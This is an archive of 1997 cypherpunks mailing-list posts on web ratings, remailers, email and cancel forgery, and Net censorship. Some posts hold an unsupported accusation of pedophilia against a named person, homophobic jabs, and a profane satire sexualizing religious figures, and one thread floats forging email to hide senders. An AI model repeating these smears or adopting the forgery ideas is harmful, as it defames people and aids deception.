controversial, such as adult sites to mark pages as such should not be
considered a horrible idea, this already happens to some extent in other
areas.

The second thing, and most important, is that web search engines need to
index *every* page, and allow the topical/categorization system as a way
to further limit searchs.  

This would be a method that I think would remove most of the fears in
place.  Search engines can't start limiting indexes to just the rated
sites, or they become a *major* problem on the net, but improving
searching is not somethign to be ignored in this issue.

This is a much more important issue than the filter of adult sites.  It
happens to provide a convenient way to do that, however, in a manner that
allows parents to limit whatever they want... [ you don't want your child
learnign about certain things?  block those ratings.. adult sites will
probably have a better percentage of categorizing than most others, but
no matter what you pick, something will listed under that...)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 8 Aug 1997 15:36:15 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Shor's Algorithms: Mad, Bad and Dangerous (fwd)
Message-ID: <199708080604.BAA09505@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 7 Aug 1997 22:53:28 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Shor's Algorithms: Mad, Bad and Dangerous (fwd)

> >The Many Worlds Hypothesis was developed by David Bohm and is an alternate
> >way of looking at the Uncertaintly Principle, which gets its origin from the
> >collapse of wave functions used to describe the potential states of a wave.
> 
> I would give credit to Hugh Everett, a student of John Wheeler's, for
> developing this interpreation. In fact, the Many Worlds interpretation is
> also called the Everett-Wheeler-Graham Interpretation. This was back in
> 1956-7.

D. Bohm     Phys. Rev., 85, 166-193 (1952)

D. Bohm     Phys. Rev., 89, 458-466 (1953)

D. Bohm     Quantum Theory, Prentice-Hall, Englewood Cliffs, New Jersey,
1951

L. de Broglie, Electrons et Photons, Rapport au Ve Conseil Physique Solvay,
Gauthier-Viliars, Paris, 1930

H. Everett  Rev. Mod. Phys. 29, 454-462 (1957)

W. Pauli, in Reports on the 1927 Solvay Congress, Gauthiers-Villiars,
et Cie, Paris (1928), 280

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 15:37:56 +0800
To: andy@CCMSD.chem.uga.edu
Subject: Re: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <Pine.LNX.3.94.970807200648.2843J-100000@neptune.chem.uga.edu>
Message-ID: <199708080147.CAA00946@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Andy Dustman <andy@CCMSD.chem.uga.edu> writes:
> 
> Back to the subject: Disposable remailers. It seems the juno remailer
> software would be good for this. I'm not sure what the sign-up requirement
> are, but it's free. I was also thinking about web-based free mail
> services, such as Hotmail and Rocketmail. Receiving mail means having to
> parse some HTML, which from the looks of things is do-able but not
> trivial. Sending mail might be easier to implement.

Sending mail is your problem alright.  It's where you get hit by
spammers etc.

Wasn't there an email forgery web page around for a while.  The idea
was that you filled in the details of who you wanted to send to, what
address you wanted it to appear you had sent it from, and paste your
message in this form box.  It did some kind of crude sendmail forgery
for you.

> Which brings up an interesting idea for an exitman/middleman remailer: Use
> a nym or commercial ISP to receive the mail, use throwaway free mail
> accounts for delivery (maybe even just plaintext delivery). Hotmail, at
> least, inserts an X-Originating-IP:  header, though.  

No problem -- run it through www.anonymizer.com first :-)

> I expect others do the same. So put your remailer output on a ZIP
> disk or floppy and run your delivery on whatever public or
> semi-public access machine you happen to get your hands on, once or
> twice a day.

You'd not want to use the same public access account regularly.

I think the connecting to the web based interface of one of those free
web gateways via www.anonymizer.com web based interface has potential.

However I wonder how long it will last...  I mean rocket mail or
whatever admins are going to get complaints like you do as a remailer
operator.

If it gets bad, they'll do what?  Not sure -- yank your account?  You
could get another one...

Turn the whole thing off?

Might last for a while.

Really we could do with some more general distributed solution to the
delivery problem.

Email forgeries seem like an interesting solution, either via an
exitman remailer which is basically just an email forging service, or
perhaps we could add capability "forger" to the remailer code.

How much trouble can you get in with ISPs for forging email?  Do they
care?  Would wide-spread practice of forging to avoid getting spammed
in USENET would cover you well enough?  How much extra security would
it give you?  Probably quite a lot -- the sorts of person who gets
spam baited is clueless almost by definition, and won't have a clue
where the mail came from.  Unless they enlist some technical help,
they'll be forced to just discard the email.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 16:54:51 +0800
To: andy@CCMSD.chem.uga.edu
Subject: Re: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <Pine.LNX.3.94.970807215626.2843K-100000@neptune.chem.uga.edu>
Message-ID: <199708080223.DAA01636@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Andy Dustman <andy@CCMSD.chem.uga.edu>
> > Wasn't there an email forgery web page around for a while.  The idea
> > was that you filled in the details of who you wanted to send to, what
> > address you wanted it to appear you had sent it from, and paste your
> > message in this form box.  It did some kind of crude sendmail forgery
> > for you.
> 
> Hmmm. Someone has recently been forging mail to appear to be from cracker
> through something like this (very bad forgery, headers are all wrong).

I said "wasn't there", as in past tense.  It got nuked years ago now
(literally) because of complaints.  When I looked at the page it still
had the text but a note that it was disabled, and why.

Just wandering if anyone knew if anyone else had set up something more
recently that still worked.

> > You'd not want to use the same public access account regularly.
> 
> I'm not thinking of an account so much as maybe a PC in a university
> computer cluster. Pick one and go. At a big university there should be
> several clusters around campus.

You might get away with that for a pretty long time, I guess.

> > I think the connecting to the web based interface of one of those free
> > web gateways via www.anonymizer.com web based interface has potential.
> 
> It does, but I know The Anonymizer blocks some sites, at their request.

Right.  So there is one anonymizer, and if we make a big game of using
this method, Lance will get threats, and at best be asked to block
them.  We need something more distributed.

That network of anonymizers isn't here yet.

> > How much trouble can you get in with ISPs for forging email?  Do they
> > care?
> 
> Mindspring cares. My ISP was absorbed by them about two weeks after I
> signed up. They say in their terms of service that impersonating someone
> else is forbidden, but they specifically allow the use of anonymous
> remailers and nicknames. I assume this means forging is frowned upon,
> unless you are impersonating someone who doesn't exist, I guess.

Well I was thinking along the lines of:

	bubba@dev.null

type addresses yes.  You ain't imitating anyone there.  I wonder if
they frown on generating non-replyable email addresses though.
Non-existant domains.  I speculated in the previous post that perhaps
the habit of using: 

	gizmo@netcom.com.NOSPAM

might make ISPs accustomed to having people use non-replyable email
address all the time.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 8 Aug 1997 17:29:26 +0800
To: cypherpunks@algebra.com
Subject: arg8797.htm
Message-ID: <199708080847.EAA31851@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




                                  News Story
                                      
                          Thursday August 7, 1997
   ______________________________________________________________________
   
                                                     [1]Back to Tech News
                                                                         
                                                                [2][LINK]
                                                                         
   Government of Argentine not happy with the Net
   [3]Ken Rutkowski  Tech Talk News
   
   Argentina's coordinator for the Secretary of Communications has
   announced government plans to intervene in Internet service provision
   within the country in order to establish standards of cost and
   quality.
   
   "We are very dissatisfied with the degree of Internet diffusion," says
   Alejandro Garro. "The government is worried about the low level of
   penetration that the service has in Argentina both geographically and
   in terms of income classes."
   
   Garro is critical of the high cost of the service and the low number
   of Internet subscribers, estimated to around 75,000. He blames the low
   level of investment by national service providers and has announced
   that a public inquiry will deal with the issue.
   
   However, the Secretary of Communications official maintains that no
   government restrictions will be applied to the political, social,
   religious or educational content of the Internet, as has recently
   happened in the U.S.
   
   "In the government resolutions which paved the way for the Internet
   into Argentina, clear reference is made that there exists no way in
   which its contents can be regulated," Garro says.
   
   South America's current statistics shows Argentina's internet growth
   to be the second to Brazil.
   
   
   [4]Listen To Today's World Technology Round Up
   
   
          ________________________________________________________
   
                     [ [5]Welcome] [ [6]Mailing List ]
                                      
    [ [7]Inside Sources ] [ [8]What's New] [ [9]Cool Links ] [ [10]Audio
                                 Archives]

References

   1. http://www.ttalk.com/news/index1.html
   2. http://www.ttalk.com/news/index1.html
   3. mailto:ken@ttalk.com
   4. http://audio.wirelesstcp.net/ttalkra/tech.ram
   5. http://www.ttalk.com/
   6. http://www.ttalk.com/mail_list.htm
   7. http://www.ttalk.com/inside_sources.htm
   8. http://www.ttalk.com/whatsnew.htm
   9. http://www.ttalk.com/links.htm
  10. http://www.audionet.com/shows/techtalk/index.html#archive





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 8 Aug 1997 17:03:46 +0800
To: cypherpunks@Algebra.COM
Subject: Whining for 'Accountability'
Message-ID: <199708080858.EAA31914@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text



   Net crime begs questions: Who to call?
   By [38]Janet Kornblum
   August 5, 1997, 8:00 p.m. PT
   
   On June 10, out of the blue, Bruce Hovland's business phone started
   ringing off the hook. The people calling weren't happy.
   
   They all demanded to know the same thing: How did they get on his
   mailing list? They also insisted, not always nicely, that he not send
   them the pornography he had apparently promised them in an email. They
   didn't order any porn, they said.
   
   Hovland doesn't send out pornography for a living, and he hadn't sent
   angry callers any email, either.
   
   In fact, Hovland is a Florida businessman who rents out an inland
   marina and markets various products like construction materials, none
   of which have anything to do with porn, email, or the Internet. He
   surfs for educational reasons and sometimes sends mail, but that's
   about it.
   
   According to Hovland, he is a victim of a crime. Someone--he thinks he
   knows who--sent out an email to possibly thousands of people telling
   them that "in 48 hours your credit card will be charged $184.80" for
   three adult videos. Recipients were then told they could not reply by
   email but "If we do not hear from you within 48 hours, we will assume
   everything is correct and make the charge to your card."
   
   The email supplied contact numbers, all belonging to Hovland. Perhaps
   adding insult to injury, the email said "you may call collect you if
   you wish."
   
   Hovland estimates there were thousands of calls from everywhere. "I've
   been pretty much threatened from all corners of the world," he said.
   He added he reported the incident to the local sheriff's department
   and to the [39]FBI and Secret Service.
   
   "I think I've been internationally defamed. I'm known worldwide as a
   porn dealer."
   
   But that's not even the part that bothers him the most: Hovland said
   this incident alerted him to the fact that there's no place to deal
   specifically with Internet crimes. Now, he wants to do something about
   it.
   
   "I believe that the entity, the Internet, is accountable. The freedom
   of it is what makes it so great, but they need to police it. They need
   to have 911 [for the] Internet."
   
   He's already gotten support from one person: Philip Kirschner, a law
   student who received the spam and called Hovland to cancel the order.
   Kirschner is helping to mount a campaign for legislation or some sort
   of task force.
   
   Hovland said he and a friend started tracing the email spam. With some
   luck, he explained, he figured out that it came from a wanted man who
   had fled the country and left his boat and car at Hovland's marina
   without paying rent. Hovland eventually sold the goods, but catching
   the alleged culprit is a different story; suing him would be nearly
   impossible.
   
   Hovland said he's lost two weeks worth of work. But he noted it could
   have been a lot worse: Someone could have directed the spam victims to
   a hospital switchboard or some other business that counts on their
   phones to help save lives.
   
   "Anyone can be a victim, whether you're an Internet user or not. If a
   guy can be in a foreign country and pinpoint his harassment and maybe
   be unprosecutable, there's a major problem. International harassment
   via the Internet can be an extremely volatile thing. It's a lot more
   serious than some fat white guy in Florida getting harassed."
   
   Now he hopes the spam and his experience will lead to something
   bigger, maybe even a movement that speaks for the average person who
   winds up being a victim of a Net crime.
   
   "A regular businessman in this society can be victimized at the point
   of a mouse," Hovland said. "They could literally put me out of
   business if they continued. It's bizarre."
   
    related news stories
    &#149; [40]CNET Special Feature: Dark side of the Web July 18, 1997
    &#149; [41]Laws of cyberland April 25, 1997
    &#149; [42]CNET Special Report: Crime on the Net February 7, 1997
    &#149; [43]States mull harassment laws January 31, 1997
    &#149; [44]States fight harassment December 16, 1996
    &#149; [45]FBI in Net porn probe December 12, 1996
   
  38. mailto:janetk@cnet.com
  39. http://www.fbi.gov/
  40. http://www.news.com/News/Item/0,4,12590,00.html
  41. http://www.news.com/SpecialFeatures/0,5,10040,00.html
  42. http://www.news.com/News/Item/0,4,7754,00.html
  43. http://www.news.com/News/Item/0,4,7550,00.html
  44. http://www.news.com/News/Item/0,4,6262,00.html
  45. http://www.news.com/News/Item/0,4,6157,00.html
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer <tm@dev.null>
Date: Fri, 8 Aug 1997 21:15:54 +0800
To: cypherpunks@toad.com
Subject: The BIG Lie (Jesus Confesses)
Message-ID: <199708081253.GAA06495@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



[From the "I Have Too Much 'Time, Inc.' On My Hands, So This Must Be 
 _Official_ News" Web site.]
 
  I couldn't help but notice that the supposed pillars of the religious
community, as well as their oh-so-decent-and-righteous followers, tell
such widespread, whoppingly big lies about the motivations behind their
public actions, as well as about their future intentions, that the true
source of corruption in the religious community must undoubtedly come
from "higher up" in the chain of commandments.

  For example, those who are concerned about their children accessing
obscene and satanic material on the InterNet might be expected to
supervise their children, as well as acquiring the InterNet tools that
are available for limiting their children's access to things which the
parents find objectionable. You would also expect them to seek out
information on sites that met standards that they found acceptable for
their children to access.
  In short, if their interests truly lay in censoring the information
their children access, you think they would do exactly that--control
and censor their children's activities on, and access to, the InterNet.

  I couldn't help but notice that, instead, they want to control the
activities and access of everyone who uses the InterNet. I find it hard
to believe that these people can claim to have the intellect to form
valid beliefs about religious and moral issues, yet not be intelligent
enough to understand the options available to them.
  This leads me to suspect that they are, in reality, two-faced liars,
particularly since impartial observers can predict the oppressive and
censorous results which are usually the exact opposite of what they
claim to be their intentions.

Patient: "Doctor, it hurts when I do _this_."
Doctor: "Then don't _do_ that."

   If those calling for control and censorship are truly worried about
their children, you would expect then to teach their children not to
"do that," and to not make available to them things which will allow 
them to "do that" if they have raised their children to be disobedient
and/or irresponsible.
  Instead, they seem to be taking the moral "high ground," as if under
the impression that they are moral "doctors" charged with diagnosing
others as having diseased morals, even if the others don't hurt when
they "do that."

Problem: Little Johnny wants to visit Paul Bradley's "Jesus Loves the
  Little Children From Behind" web site.
Solution: Don't let him do that.

Problem: Little Johnny might visit the Duncan Frissel "Pictures of 
  Jesus" site and find pictures of Jesus buggering the little children.
Solution: Don't let Little Johnny access sites that you don't know to
  be acceptable according to your standards.

  Now, was the foregoing too hard for those reading this to understand?
  If not, then what could be the reason for those promoting contol and
censoring of other people for suggesting the following option...
Problem: Little Johnny might access something on the InterNet which does
  not meet standards that his parent's find acceptable.
Solution: Require everyone on the InterNet to only engage in activities
  which meet the standards of Little Johnny's parents, starting by 
  putting the onus on everyone on the InterNet to "voluntarily" rate
  their website according to the standards of Little Johnny's parents.

Question:"When was the last time a doctor you didn't know made a 'house
  call' to check on your health, forced his way in when you objected,
  and gave you a prostrate exam against your wishes?"
Answer:"When the government declared that prostrate cancer was a threat
  to 'national security' and that early detection would 'protect the
  children' from child molesters and drug dealers."

  Since spirituality is not inherently related to fascism, it seemed to
me that the moral fascism being promoted by members of the Christian
community must be the result, not of spiritual values, but rather,
the result of the leader of the Christian religion being a moral
fascist.
  It was also obvious that, given the vast amount of lies being told
by Christians about their beliefs, motivations, and intentions, that
Christianity must be founded on lies and disinformation.
  Since I do not like to speak ill of someone without taking pains to
understand them from the standpoint of their own knowledge and beliefs,
I decided that I should have a talk with Jesus Christ, the founder and
espoused leader of the Christian religion, and give him a chance to 
respond to my view of himself and those who follow his example.

  Mr. Christ was kind enough to let me take notes during our long
conversation, so I am providing a transcript of the highlites of
the issues we discussed:
-----------------------
TruthMonger: "Mr. Christ..."
Jesus Christ: "Please, call me Jesus."

TruthMonger: "OK. Jesus, what the fuck is going on with all these people
  claiming that they have the right to force everyone on the face of the
  earth to live only within the boundaries of moral judgements approved 
  of by you?"
Jesus Christ: "Well, TruthMonger, you have to understand that I am the
  _only_ Way, the _only_ Truth, and the _only_ Light.  Accordingly, it
  is reasonable for my followers come to the conclusion that whatever
  I approve of is good and that everything else is bad."

TruthMonger: "As in, 'Everything Not Permitted, Is Forbidden!'?"
Jesus Christ: "Exactly. By the way, is that from '1984' or from 'Animal
  Farm'?"

TruthMonger: "Don't try to change the subject. Jesus! Oh, I mean that
  as a swear word, by the way...but this is exactly what I object to
  in your followers--the fuckers never give a straight, truthful 
  answer to the 'hard' questions. They always fall back on some inane
  quote of yours that has little to do with the issue being discussed."
Jesus Christ: "Well, you can't hold me accountable for their actions..."

TruthMonger: "Like _fuck_ I _can't_, shit for brains. You're in America,
  buddy, and we have conspiracy laws here. If the members of your cult
  go down, then you go down with them, and vice-versa.
  "You ever hear of Waco? David Koresh? Maharishi? John F. Kennedy?"
Jesus Christ: "You're trying to twist things around here, by comparing
  me and my followers to small cults and Democrats. After all, America
  is largely a Christian nation with Republican family values."

TruthMonger: "Bullshit! It's a democracy, with a legal seperation of
  Church and State. "America is a Christian nation" is just one more
  example of the lies your followers try to propogate every chance
  they get. It's clearly not true, but they refuse to face reality."
Jesus Christ: "I said, 'largely'."

TruthMonger: "Exactly. You use a word that infers that a 'majority'
  of Americans are Christian, in order to suggest that Christianity
  and Democracy are kissing cousins. This is the same goddamn thing
  that your followers do by constantly taking a smug, self-righteous
  stance that concepts like freedom, democracy, right and wrong, are
  all dependent on or connected to the Christian 'majority's' beliefs
  and morals.
  "You could just as well say, 'America is largely a "white" nation'
  but that pig doesn't fly anymore."
Jesus Christ: "Now _you're_ trying to twist _my_ words."

TruthMonger: "Christ! Oh, that's meant to be a swear word, too...BTW.
  "What I mean is that your words are being twisted a lot more by
  your Christian bum-buddies than I could ever hope to manage.
  "Which wouldn't concern me in the least if they weren't trying to
  force a potpourri of alleged 'superior' moral beliefs on the rest
  of us. This is the crux of the matter. As far as I am concerned.
  Christian fascism is the enemy of democracy and freedom."
Jesus Christ: "Well, that's one way of looking at it. However, you
  might also say, 'It's not perfect, but it's the best system we've
  got.'"

TruthMonger: "Please don't insult my intelligence. You could say the
  same thing about a bowl of 'shry back to take over until you're
  sure that your fascist lackeys have all the freedom lovers in
  chains."
Jesus Christ: "Is that supposed to be some kind of threat?"

TruthMonger: "Hey, pal. All I'm saying is that what is good for the
  gander is good for the goose.
  "As long as this country remains a democracy, then you'd better
  think twice about claiming to 'love all the little children' and
  you'd damn sure better make certain you have all the right permits
  before you go around turning water into wine."
Jesus Christ: "I resent the implication that I love the children 
  in anything but a purely 'spiritual' way."

TruthMonger: "Well, pal, the circumstantial evidence is against you
  on this one. Wasn't your father involved in some kind of scandal
  where he made a man and woman naked and then told them to fuck
  and party down?"
  "If I remember right, he had some kind of fetish about telling the
  Jews to fuck a lot and was always talking about their 'cum'."
Jesus Christ: "He used _decent_ words, like 'be fruitful and 
  multiply', and 'seed', not 'cum'."
  "And you should have capitalized the word 'Father' when you made
  mention of him, BTW"

TruthMonger: "Fuck you pal, I'm sending this to the CypherPunks
  mailing list. Are you the new list moderator? 
  "Good fucking luck..."
Jesus Christ: "I don't have to take this kind of abuse. I'm putting
  you on the 'flames' list."

TruthMonger: "Big deal. I'm already in Tim C. May's 'killfile'."
Jesus Christ: "If intolerance is such a Christian trait as you claim,
  then why is my 'flames' list smaller than Tim May's 'killfile'?"

TruthMonger: "Now you're twisting _my_ words. Are you related to
  Kent Crispin? Say... Come to think of it, why has no one ever seen
  the two of you together?"
Jesus Christ: "Let's just say that Kent and I agree on many issues
  that have to do with the sanctity of a higher authority.
  "No one has ever seen the evil Dr. Vulis and Satan together,l of eternity', then you'd better get to work on a way to
  stop the CypherPunks 'Eternity Server' from routing around fascist
  Christian moralism."
Jesus Christ: "Adam Back... Isn't he a member of that weirdo "Circle
  of Eunuchs" cult?"

TruthMonger: "That's for me to know, and for you to find out, pal.
  "Unless you can break PGP, of course."
Jesus Christ: "Hey, I'm just Jesus. I'm not Phil Zimmerman, for 
  _My_ sake."

TruthMonger: "Hey, watch your language."
Jesus Christ: "Sorry, I meant to say 'for _Dimitri's_ sake'."

TruthMonger: "I'll tell him you capitalized his name. He'll get a
  kick out of that.
  "Any last words before I turn in for the night?"
Jesus Christ: "Christianity recognizes privacy and freedom as damage,
  and steamrollers over them."

TruthMonger: "No shit!"
-----------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
All references to Tim C. May's Vernacular Translation of the Bible
are used without permission.
What's he going to do, sue me? Then he'd have to admits he gets
vicarious pleasure out of reading the posts in his killfile.
{There's more than _one_ way to push a <Delete> key.}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 21:09:34 +0800
To: cypherpunks@toad.com
Subject: Re: Death of the North American Crypto archive?
In-Reply-To: <3.0.3.32.19970807212752.00931870@teal.csn.net>
Message-ID: <VJ94ae56w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Michael Paul Johnson <mpj@ebible.org> writes:

> Alas, it wasn't government regulation.
> It wasn't patent entanglements.
> It wasn't spooks.
> It is economics. Can anyone suggest an alternate host that might provide room
> for a few hundred megabytes of ftp access for free (or nearly free)? Can
> someone else in North American mirror all of that data, quickly, before the
> site shuts down?

If it's under 650MB, I can fit it all on 1 CD...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 21:01:39 +0800
To: cypherpunks@toad.com
Subject: Re: REPOST : Un-forgeable Cancels
In-Reply-To: <12867.9708080920@misun2.mi.leeds.ac.uk>
Message-ID: <5R04ae64w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



jbaber@mi.leeds.ac.uk writes:

> Any comments/glareing weaknesses that I have missed?

Well, you missed credited guys named Franz and Huusinen with proposing this
exact scheme a couple of years ago. You also missed my discussion on how to
allow the local admin to issue cancels as well.

I used to think this scheme is very cool.  Later I realized it had a serious
problem with forgeries in one's name.

Suppose X forges an article in Y's name, and specifies a cancel lock; then
Y can't cancel this forgery.

The retraction server which David is reported to be working on doesn't
rely on passwords on authenticate Y; if Y can demonstrate the ability
to receive a cookie sent to Y, then the server can issue a signed 'hide'
NoCeM for an article that purports to be from Y.  Works for forgeries too.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 9 Aug 1997 00:10:59 +0800
To: cypherpunks@toad.com
Subject: spam as DOS
In-Reply-To: <e4H4ae46w165w@bwalk.dm.com>
Message-ID: <19970808083427.33732@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Aug 08, 1997 at 01:38:25PM +0200, Anonymous wrote:
> > > How about if it is an employee of yours, using your computer
> > > equipment, that sent the message, in explict contradition to your
> > > companies stated policy?
> > 
> > Use a retraction server (David's project)
> 
> I wonder if there is a problem of inconsistent levels in this debate...
> 
> At one level, many people on this list are in favour of infrastructure
> such as Usenet and the Web carrying all information without filtering with
> respect to content, to avoid censorship, oppression and so on.
> 
> At another level, almost everybody has personal preferences as to what
> they consider worthwhile information, what they want to read, what they
> want their children/employees to read, and what they want their
> privately-owned hardware to be used to carry.
> 
> At the content-free level, cancels are information just like anything
> else, merely a stream of octets.  By definition, they _can't_ be morally
> wrong at that amoral level where we talk only about whether
> store-and-forward works properly or not.  Cancels, "forged" or otherwise
> are just a tool, just bytes.
> 
> Within a particular value system, you might agree or disagree with a
> particular cancel, or with the idea in general.  It's easy to configure a
> news server or reader to conform to your preferences, just people who hate
> spam are free to ignore it.  At this level, you can make judgements as to
> which uses of that tool are justifiable.  (Cancels by sysadmins,
> anti-spammers, spammers, system owners, governments, parents, copyright
> lawyers or nobody at all.)

Very good point.

The problem exists at both levels, however.  At the "content-free" 
level the equivalent of spam is a flooding denial of service attack.  

But thinking about it at the "content free" level puts the issues in a
much better focus, for me.  You can note the following:

	1) at a "content-free" level filters, by definition simply
	don't work.  [They don't really work for spam, either, of 
	course.] 

	2) the issue is fundamentally bandwidth consumption [with spam
	the bandwidth is human attention bandwidth]

	3) it's a damn hard problem, and no good solution exists

	4) there is an analog to e-postage in QOS routing, but the
	problem of flooding is still not solved.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 21:37:29 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <199708081138.NAA07099@basement.replay.com>
Message-ID: <FRB5ae68w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

>   "I'm sorry but I just don't consider 'because he's a pedophile' to be a
>    convincing argument."

We hate Chris Lewis because he forges cancels (and not only for "spam"),
but just because he's an icky child-molesting pedophile.

Death to censors!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Fri, 8 Aug 1997 21:01:15 +0800
To: John Smith <jsmith58@hotmail.com>
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <19970808062547.28652.qmail@hotmail.com>
Message-ID: <Pine.GSO.3.95.970808084734.21965A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 7 Aug 1997, John Smith wrote:

> >The second thing, and most important, is that web search engines need 
> >to
> >index *every* page, and allow the topical/categorization system as a 
> >way
> >to further limit searchs.  
> 
> You can't make the web search engines do that.  It's a free country.

It's just a matter of convincing the major search engines to use this
system over some others, and to change their opinions on indexing
non-rated sites.

The only problem with rogue indexers is that the drive space for the index
is just enormous (think about how many pages there are on the net, just on
the web, ignoring Usenet entirely... I think most of the serach engines
store at least the first 100 bytes or so of each page, plus all the
indexing... it's rather big..)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 21:38:07 +0800
To: cypherpunks@toad.com
Subject: Platypus and the kangaroos
Message-ID: <Jcc5ae74w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> > E.g. read the Net.Scum page for Debbie Taylor to read
> > how the homos tried to censor the Web site called "www.godhatesfags.com"
>
> I have no problems with that web site's existence.

I haven't looked at the site (I conclude from the name that it's probably not
something I care to see), but I will fight for its free speech. Apparently
a number of people listed at the Net.Scum site do want to shut down this
site because they don't like its name and/or contents.

Agis's troubes with the (largely homosexual) Net.Cabal started before they
signed up Stanford Wallace.

> [1] Demitri A little bit of resurch would of established what my
> sexualiaty is.  For the record most of my parteners have been femail[2]

David, with all due respect, I got more interesting things to research
than your sexuality! :-)

[2] Have any of the "others" been kangaroos?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbaber@mi.leeds.ac.uk
Date: Fri, 8 Aug 1997 17:32:24 +0800
To: cypherpunks@Algebra.COM
Subject: REPOST : Un-forgeable Cancels
Message-ID: <12867.9708080920@misun2.mi.leeds.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain




I don't think this got through the first time so I am resending it......

--------------------------------------------------------------------------

OK so this has probably been thought of before or has some horrible problem
